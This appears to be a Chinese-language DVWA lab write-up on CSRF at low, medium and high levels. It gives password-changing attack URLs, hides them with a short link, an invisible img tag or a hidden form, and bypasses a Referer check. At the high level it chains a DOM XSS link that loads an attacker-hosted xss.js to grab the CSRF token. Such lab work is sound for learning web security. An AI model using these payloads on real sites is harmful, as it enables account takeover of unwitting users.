CSRF
Low等级
查看源码
服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。
构造链接
http://192.168.0.103/vulnerabilities/csrf/?password_new=zuowenyang&password_conf=zuowenyang&Change=Change#
当受害者点击了这个链接,他的密码就会被改成zuowenyang
测试
使用短链接来隐藏URL
构造短链接
http://suo.im/
http://192.168.0.103/vulnerabilities/csrf/?password_new=zuowenyang2&password_conf=zuowenyang2&Change=Change#
新打开一个网址标签,输入短网址http://suo.im/6ahf6H进行攻击
测试
构造攻击页面
方法一:图片形式诱导
通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。
当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接: 192.168.0.103/test.html
误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为zuowenyang3。
测试
方法二:隐藏表单的形式
查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改
新打开一个网址标签,输入网址: 192.168.0.103 /dvwa.html,进行攻击
测试
Medium等级
查看源码
stripos()函数:
stripos(string,find,start)
stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。
PHP超全局变量_SERVER[‘HTTP_REFERER’]:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。
2._SERVER[‘HTTP_REFERER’]的值中必须包含$_SERVER[‘SERVER_NAME’],以此来抵御CSRF攻击。
将Low Security Leve构造攻击页面方法1中的攻击页面test.html复制一份,命名为 192.168.0.5.html, 并修改部分代码,后放到phpstudy的www目录中。
受害者点击192.168.0.103/192.168.0.103.html
测试
High等级
查看源码
利用受害者的cookie去修改密码的页面获取关键的token xss.js放置于攻击者的网站上。
DOM XSS 与 CSRF 结合攻击
CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用链接来让受害者访问诱导点击后,成功将密码修改为zuowenyang6。
DOM xss测试
用以下链接来让受害者访问:
http://192.168.0.103/vulnerabilities/xss_d/?default=English#
CSRF测试
新开一个页面,登陆DVWA,将安全级别设置到:“high”,并选择 CRSF(XSS(DOM)页面不能关闭)
通过XSS(DOM)进行CSRF攻击
在XSS(DOM)界面,进行CSRF攻击测试。
http://192.168.0.103/vulnerabilities/xss_d/?default=English#<script%20src=“http://192.168.0.103/xss.js”>
测试